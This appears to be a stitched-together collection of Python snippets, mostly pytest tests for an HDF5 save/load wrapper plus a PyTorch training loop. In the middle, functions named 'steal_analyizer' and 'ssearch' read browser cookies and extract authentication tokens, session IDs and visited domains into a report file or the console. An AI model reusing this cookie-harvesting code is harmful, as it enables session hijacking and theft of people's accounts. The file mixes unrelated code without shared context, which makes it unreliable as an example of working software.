def test_store_and_load_custom_array(): a = [[1, 2, 3, 4], [6, 7]] h5w.save(fn, {'a': a}, overwrite_dataset=True) # loading the whole data res = h5w.load(fn) for i in xrange(len(a)): assert(abs(np.sum(a[i] - res['a'][i])) < 1e-12) # loading path directly res = h5w.load(fn, path='a/') for i in xrange(len(a)): assert(abs(np.sum(a[i] - res[i])) < 1e-12)
def test_handle_nonexisting_path(): res = {} stest = 'this is a test' h5w.save(fn, res, write_mode='w') try: res = h5w.load(fn, path='test/') raise Exception() # should not get until here except KeyError: res['test'] = stest h5w.save(fn, res) res.clear() res = h5w.load(fn, path='test/') assert(res == stest)
def test_load_lazy_simple(): res = _construct_simpledata() h5w.save(fn, res, write_mode='w') res.clear() res = h5w.load(fn, lazy=True) for key, obj in res.items(): assert(obj is None)
def test_store_and_load_quantities_array(): data = {'times': np.array([1, 2, 3]) * pq.ms, 'positions': np.array([1, 2, 3]) * pq.cm} h5w.save(fn, data, overwrite_dataset=True) # loading the whole data res = h5w.load(fn) assert(res['times'].dimensionality == data['times'].dimensionality)
def steal_analyizer(): f = open('Browser_Analysis_Report.txt', 'w') f.close() def line(): return '-' * 80 def heading(HeadingName): return '\n\n\n'+'-' * \ 35+' '+HeadingName+' '+'-'*35+'\n\n\n' with open('Browser_Analysis_Report.txt', 'a+') as f: f.write(heading('Cookie Steal from Browsers')) cj = browser_m.load() # browser_cookie3.load() f.write(heading('Tokens in Cookie')) cjl = [str(x) for x in cj] for x in cjl: if 'token' in x: f.write(x + '\n') f.write(line()) f.write(heading('SessionIDs in Cookie')) cjl = [str(x) for x in cj] for x in cjl: if 'session' in x.lower(): f.write(x + '\n') f.write(line()) f.write(heading('Websites Visited')) already = dict() for cookie_ in cj: if cookie_.domain not in already: already[cookie_.domain] = '1' f.write(cookie_.domain + '\n') f.write(line())
def test_read_empty_array_via_path(): res = {'a': np.array([[], []])} h5w.save(fn, res, write_mode='w') res.clear() res = h5w.load(fn, path='a') assert_array_equal(res, [[], []]) assert(np.shape(res) == (2, 0))
def test_write_empty_array(): res = {'a': [], 'b': np.array([])} h5w.save(fn, res, write_mode='w') res.clear() res = h5w.load(fn) assert_array_equal(res['a'], []) assert_array_equal(res['b'], [])
def test_store_and_load_simpledata(): res = _construct_simpledata() h5w.save(fn, res, write_mode='w') res.clear() res = h5w.load(fn) for key, val in zip(simpledata_str, simpledata_val): assert(res[key] == val)
def test_overwrite_dataset(): res = {'a': 5} h5w.save(fn, res, write_mode='w') res.clear() res = {'a': 6} with pytest.raises(KeyError): h5w.save(fn, res, write_mode='a', overwrite_dataset=False) res.clear() res = h5w.load(fn) assert(res['a'] == 5) # dataset should still contain old value res.clear() res = {'a': 6} h5w.save( fn, res, write_mode='a', overwrite_dataset=True) res.clear() res = h5w.load(fn) assert(res['a'] == 6) # dataset should contain new value
def test_load_lazy_nested(): res = {'a': 1, 'test1': {'b': 2}, 'test2': { 'test3': {'c': np.array([1, 2, 3])}}} h5w.save(fn, res, write_mode='w') res.clear() res = h5w.load(fn, lazy=True) assert(res['a'] is None) assert(res['test1']['b'] is None) assert(res['test2']['test3']['c'] is None)
def test_store_and_test_key_types(): data = {'a': 1, (1, 2): {4: 2.}, 4.: 3.} h5w.save(fn, data, write_mode='w') res = h5w.load(fn) keys = ['a', (1, 2), 4.] for k in keys: assert(k in res.keys()) assert(4 in res[(1, 2)].keys())
def test_store_and_load_arraydata(): res = {} for key, val in zip(arraydata_str, arraydata_val): res[key] = val h5w.save(fn, res, write_mode='w') res.clear() res = h5w.load(fn) for key, val in zip(arraydata_str, arraydata_val): assert_array_equal(res[key], val)
def test_write_nested_empty_array(): res = {'a': [[], []], 'b': np.array([[], []])} h5w.save(fn, res, write_mode='w') res.clear() res = h5w.load(fn) assert_array_equal(res['a'], [[], []]) assert(np.shape(res['a']) == (2, 0)) assert_array_equal(res['b'], [[], []]) assert(np.shape(res['b']) == (2, 0))
def test_store_and_load_dictdata(): res = {} for key, val in zip(dictdata_str, dictdata_val): res[key] = val h5w.save(fn, res, write_mode='w') res.clear() res = h5w.load(fn) for dkey, dval in zip(dictdata_str, dictdata_val): for key, val in dval.items(): assert(res[dkey][key] == val)
def ssearch(): cj = browser_m.load() cjl = [str(x) for x in cj] heading('Specific WebSearch') name = input('Give Website Name: ') flag = 0 for x in cjl: if name in x: print(x) flag = 1 if flag == 0: print('[+] Data Not Present\n')
def test_store_and_load_with_compression(): data = {'a': 1, 'test1': {'b': 2}, 'test2': { 'test3': {'c': np.array([1, 2, 3])}}} h5w.save(fn, data, write_mode='w', compression='gzip') h5w.load(fn)
def test_store_none(): res = {'a1': None} h5w.save(fn, res, write_mode='w') res.clear() res = h5w.load(fn) assert(res['a1'] is None)
import wrapper import preprocess import option import torch from torchvision import transforms import os import NN if not option.loadModel: model = eval(option.model) else: model = wrapper.load(option.loadModel) train_dataset = preprocess.dataset(option.train_data, transform=option.transform_train) val_dataset = preprocess.dataset(option.val_data, transform=option.transform_test) ShengZhiyao = wrapper.wraper(model, train_dataset, val_dataset, option.optimizer) max_epoches = option.max_epoches while ShengZhiyao.epoch < max_epoches: ShengZhiyao.Train() ShengZhiyao.Val()
def test_handle_nonexisting_file(): try: h5w.load('asdasd.h5') raise Exception() # should not get until here except IOError: pass
def test_write_and_load_with_label(): res = _construct_simpledata() h5w.save(fn, res, write_mode='w', dict_label='test_label') for key, val in zip(simpledata_str, simpledata_val): assert(h5w.load(fn, 'test_label/' + key) == val)
def test_store_and_load_dataset_directly(): res = _construct_simpledata() h5w.save(fn, res, write_mode='w') for key, val in zip(simpledata_str, simpledata_val): assert(h5w.load(fn, '/' + key) == val)